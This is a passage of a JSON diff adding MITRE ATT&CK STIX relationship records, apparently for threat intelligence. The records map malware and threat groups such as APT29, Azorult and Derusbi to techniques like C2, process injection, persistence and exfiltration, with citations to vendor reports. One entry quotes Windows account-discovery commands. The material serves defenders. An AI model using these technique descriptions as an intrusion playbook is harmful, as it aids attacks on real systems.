"external_references": [ + { + "source_name": "US-CERT BADCALL", + "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[EvilGrab](https://attack.mitre.org/software/S0152) uses port 8080 for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9f852541-3fc7-4036-9268-7bc6bfe94900", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to perform voice recording on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T21:40:37.743Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--97d2fa02-bccc-43c3-8c1d-e3667b710e5e", + "external_references": [ + { + "source_name": "Zscaler Cobian Aug 2017", + "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018.", + "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat" + } + ], + "modified": "2019-04-23T21:09:54.680Z", + "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", + "relationship_type": "uses", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can use mshta for executing scripts.", + "type": "relationship", + "created": "2019-01-30T13:28:47.831Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2ed3ed76-7ebe-4371-a7e9-cc5a45ace915", + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "modified": "2019-06-28T15:15:54.445Z", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "relationship_type": "uses", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) can securely delete a file by hooking into the DeleteFileA and DeleteFileW functions in the Windows API.", + "type": "relationship", + "created": "2019-01-30T13:53:14.920Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ae53b90-59d3-4510-b0e8-686b7ea8e626", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-04-17T22:22:22.030Z", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Keydnap](https://attack.mitre.org/software/S0276) uses a copy of tor2web proxy for HTTPS communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--02e4c930-ffc1-4bcb-a989-12db90671f90", + "external_references": [ + { + "source_name": "synack 2016 review", + "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.", + "url": "https://www.synack.com/2017/01/01/mac-malware-2016/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "relationship_type": "uses", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) samples were timestomped by the authors by setting the PE timestamps to all zero values. [InvisiMole](https://attack.mitre.org/software/S0260) also has a built-in command to modify file times.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b039a79c-8df3-4e89-95ad-03d27b16a13c", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) uses PowerShell to use Base64 for obfuscation.", + "type": "relationship", + "created": "2019-01-30T14:19:17.699Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2bc72d2e-74c7-43da-a669-fffdfcd78186", + "external_references": [ + { + "source_name": "FireEye APT29 Nov 2018", + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + } + ], + "modified": "2019-07-25T14:25:53.349Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) tests if it can reach its C2 server by first attempting a direct connection, and if it fails, obtaining proxy settings and sending the connection through a proxy, and finally injecting code into a running browser if the proxy method fails.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0d43f3a7-70ed-4d04-857e-3a9fbce86cfb", + "external_references": [ + { + "source_name": "ESET Sednit Part 1", + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + } + ], + "modified": "2019-02-01T14:39:36.316Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can decrypt the payload into memory, create a new suspended process of itself, then inject a decrypted payload to the new process and resume new process execution.", + "type": "relationship", + "created": "2019-01-30T15:19:14.997Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--202ed36b-9052-4464-b6a0-34258ba7a9ab", + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ], + "modified": "2019-07-26T23:22:28.507Z", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "relationship_type": "uses", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) attempts to add a shortcut file in the Startup folder to achieve persistence. If this fails, it attempts to add Registry Run keys.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ed2f811d-3258-4489-abe1-57dac4bdbbf8", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) uses SSL for encrypting C2 communications.", + "type": "relationship", + "created": "2019-01-30T15:38:21.151Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e54282cb-8567-4c43-b6ab-3cfd0e52fb9a", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-01-30T15:38:21.151Z", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) variants have attempted to appear legitimate by using the file names SafeApp.exe and NeutralApp.exe, as well as by adding a new service named OfficeUpdateService.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cf29f1f0-867f-4e08-9442-d10f75ec7702", + "external_references": [ + { + "source_name": "ASERT InnaputRAT April 2018", + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) can download files and additional malware.", + "type": "relationship", + "created": "2019-01-30T15:47:41.424Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4d23c95c-366e-464c-b41c-64e48f4e166a", + "external_references": [ + { + "source_name": "TrendMicro Lazarus Nov 2018", + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "modified": "2019-01-30T15:47:41.424Z", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) uses a secret key with a series of XOR and addition operations to encrypt C2 traffic.", + "type": "relationship", + "created": "2019-01-30T16:39:54.436Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4d6a3a5b-58c2-4dab-8710-fe7e6b893f98", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.809Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can identify logged in users across the domain and views user sessions.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3298bf92-55a2-49eb-aa5e-0530e8a51eeb", + "external_references": [ + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used the native Windows cabinet creation tool, makecab.exe, likely to compress stolen data to be uploaded.", + "type": "relationship", + "created": "2019-01-30T17:33:40.941Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8cecace8-2820-4489-b3e8-baf4b9f33ff3", + "external_references": [ + { + "source_name": "Symantec MuddyWater Dec 2018", + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ], + "modified": "2019-06-28T15:30:58.858Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dipsind](https://attack.mitre.org/software/S0200) can download remote files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2a2b6def-5d29-41f7-b274-64bed33eb8ed", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[zwShell](https://attack.mitre.org/software/S0350) can launch command-line shells.", + "type": "relationship", + "created": "2019-01-30T17:48:35.639Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dbf985a6-4e02-4f1f-a323-3169e4c3c9e0", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-01-30T17:48:35.639Z", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) can execute commands from its C2 server.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--aabb13d6-a73b-42aa-8014-696b94ff2416", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T14:36:29.993Z", + "type": "relationship", + "created": "2019-01-30T18:02:59.508Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d82144cd-0b3f-465c-95aa-54764891e9b6", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cannon](https://attack.mitre.org/software/S0351) exfiltrates collected data over email via SMTP/S and POP3/S C2 channels.", + "type": "relationship", + "created": "2019-01-30T18:58:03.964Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--48106cb0-a9c8-4c68-b90a-8d517078d189", + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ], + "modified": "2019-04-22T19:48:08.974Z", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gazer](https://attack.mitre.org/software/S0168) stores configuration items in alternate data streams (ADSs) if the Registry is not accessible.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d2d11e48-91f9-4ebf-82b7-c194c0bee9b5", + "external_references": [ + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "relationship_type": "uses", + "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) can collect the username from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T19:50:46.750Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9e1daa60-db2d-4671-b96f-3ebebe1977cc", + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "modified": "2019-01-31T00:38:09.389Z", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KONNI](https://attack.mitre.org/software/S0356) can take screenshots of the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-31T00:36:40.968Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--af7323ae-bb42-49fd-9c8d-218a1335f662", + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "modified": "2019-07-26T18:47:19.318Z", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used mshta.exe for code execution.", + "type": "relationship", + "created": "2019-01-31T01:07:58.706Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a7f5320a-dd76-4fa0-998f-44860ff1b307", + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:38.457Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has captured credentials via fake Outlook Web App (OWA) login pages and has also used a .NET based keylogger.", + "type": "relationship", + "created": "2019-01-31T02:01:45.695Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8cb59548-2e8d-4635-809b-b9ba22c94c31", + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "modified": "2019-04-18T20:19:49.307Z", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of creating a remote Bash shell and executing commands.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3268cdc0-7cee-4fe5-92cc-2c3cdc06712b", + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/TA_Fidelis_Turbo_1602_0.pdf" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Helminth](https://attack.mitre.org/software/S0170) VBScript receives a batch script to execute a set of commands in a command prompt.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cd58d271-9ee2-45d6-9ca3-22ae8da639b5", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use net group \"domain admins\" /domain to display accounts in the \"domain admins\" permissions group and net localgroup \"administrators\" to list local system administrator group membership.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2eb985a1-e73e-4554-8638-2e6f27690ec0", + "external_references": [ + { + "source_name": "AlienVault Sykipot 2011", + "description": "Blasco, J. (2011, December 12). Another 